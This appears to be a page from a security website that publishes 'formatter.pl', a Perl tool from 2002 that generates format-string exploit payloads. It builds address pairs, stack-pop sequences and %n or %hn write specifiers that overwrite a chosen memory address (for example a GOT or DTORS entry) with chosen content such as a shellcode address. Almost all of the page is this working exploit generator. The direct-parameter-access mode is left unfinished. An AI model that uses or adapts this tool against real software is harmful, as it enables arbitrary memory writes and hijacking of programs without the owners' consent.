Home  Services  Contact  Projects  Whitepapers  Tools 

#!/usr/bin/perl
#
# @2002mei@websec.org "formatter.pl"
#
# creates format-exploit strings on the fly
#
# Possible Options:
#
# -p [1-7] # for padding
# -s -d # for short write and direct parameter access (todo)
# -o [offset] # offset before we hit our own string on the stack
# -a [addres] # address we want to overwrite 80456ae for example
# -c [content] # usually an address got/dtors/shellcode etc ect.
# -h # prints out help-screen
#
# ToDo:
#
# direct-param access with and without shortwrite !
#
#####################################################################

use strict;
use vars qw($opt_s $opt_d $opt_p $opt_o $opt_a $opt_c $opt_h);
use Getopt::Std;

# get options
#
getopts("p:o:a:c:d:hs");

# vardecs
#

my $offset = $opt_o || 0;
my $address = $opt_a || "ffffffff";
my $content = $opt_c || "41414141";
my $padding = $opt_p || 0;
my $startparam = $opt_d || -1;

# dummy address
# for 4 x dummy-address/write-address pairs
#
my $ad = "AAAA";

# the output strings itselve
my $buffer_addr_pairs = "";
my $buffer_cont = "";
my $buffer_padding = "";
my $buffer_stackpop = "";

# chars written to buffer so far
my $written = 0;
my $swritten = 0;
my $num = 0;
my ($haddress,$a1,$a2);
my ($deca1,$deca2,$number1,$number2);

# check format out
# kinda input validation :-)
# todo: do real input validation

$address = hex($address);
$content = sprintf("%08x", hex($content));
$a1 = substr($content,0,4);
$a2 = substr($content,4,4);
$offset = sprintf("%d",$offset);
$padding = sprintf("%d",$padding);

# usage ?
if ($opt_h || $address == 0xffffffff || $padding > 7)
{
print("usage: $0 -o <bytes_offset>\n\t-a <write_to_address>\n\t-c <content>\n\t[-p <bytes_padding[1-7]>\n\t-s=shortwrite [-d <startparam>=direct parameter access]]\n");
exit(0);
}

# if no method given use the "long" version
# (short integer and number of argument)
# will be implemented in the near future

# padding ?

if($padding > 0)
{
$buffer_padding = "P"x$padding;
$written += $padding;
}

# now for the dummy-address pairs
# we got an address which is in $write_to_address
# we do 4 misangled writes to our arbitrary address
# length of address is 4

# "short-write" method
if ($opt_s)
{
# of courese the larger number
# has to be written first :-)

if ($a1 < $a2)
{
$buffer_addr_pairs .= $ad.getaddress(sprintf("%08x",$address+2)).$ad.getaddress(sprintf("%08x",$address));
$written += 16;
}
elsif ($a1 == $a2)
{
$buffer_addr_pairs .= $ad.getaddress(sprintf("%08x",$address+2)).getaddress(sprintf("%08x",$address));
$written += 12;
}
else
{
$buffer_addr_pairs .= $ad.getaddress(sprintf("%08x",$address)).$ad.getaddress(sprintf("%08x",$address+2));
$written += 16;
}

}
elsif($startparam > -1) ###### direct param access
{

}
else ###### "normal" write method
{
for (my $c=0;$c<=3;$c++)
{
$buffer_addr_pairs .= $ad.getaddress(sprintf("%08x",$address+$c));
}

# (4+4) * 4 = 32
$written += 32;
}


# now the offset
if ($offset < 8)
{
$buffer_padding .= "P"x$offset;
$written += $offset;

}
else
{
$buffer_padding .= "P"x($offset % 8);
$written += ($offset % 8);


$offset = ($offset - ($offset % 8)) / 8;
$buffer_stackpop = "%08x"x$offset;

$written = $written + ($offset * 8);

}

### the content
### or what do we wanna write to address

### shortwrite = 2 times
### larger number must be written first!

if ($opt_s)
{
if (($a1 < $a2) || ($a1 == $a2))
{
$deca1 = hex($a1);
$deca2 = hex($a2);
}
else
{
$deca1 = hex($a2);
$deca2 = hex($a1);
}

$number1 = $deca1-$written;
$number2 = $deca2-$deca1;

$buffer_cont .= "%.".$number1."u%hn";
$written += $number1;

if ($a1 == $a2)
{
$buffer_cont .= "%hn";
$written += $number2;
}
else
{
$buffer_cont .= "%.".$number2."u%hn";
$written += $number2;
}

}
else ####### "normal std write = 4 times"
{
for(my $i=6;$i>=0;$i-=2)
{
$num = calc($written,substr($content,$i,2));
$buffer_cont .= "%.".$num."u%n";
$written += $num;
}
}

# output

print $buffer_padding,$buffer_addr_pairs,$buffer_stackpop,$buffer_cont;

###############################################
### calc calculates hexnumber for least s. byte
### and returns dec-value for a given number
### of written bytes and hexvalue

sub calc()
{
my $written = shift;
my $byte = "0x".shift;
my $erg = 0;

if ((($byte+0x100)-($written % 0x100) % 0x100) < 10)
{
$erg = ((($byte+0x100)-($written % 0x100) % 0x100)+0x100)+0;
}
else
{
$erg = (($byte+0x100)-($written % 0x100) % 0x100)+0;
}

## we return a decimal
## because of output format string "unsigned int"

return $erg;
}


################################################
### getaddress
### returns little-endian ugly-char-style address for
### our output

sub getaddress()
{
my $address = shift;
my $ret;

$address =~ s/^0x//;

$ret = chr(hex(substr($address,6,2)));
$ret .= chr(hex(substr($address,4,2)));
$ret .= chr(hex(substr($address,2,2)));
$ret .= chr(hex(substr($address,0,2)));

return $ret;
}

Home  Services  Contact  Projects  Whitepapers  Tools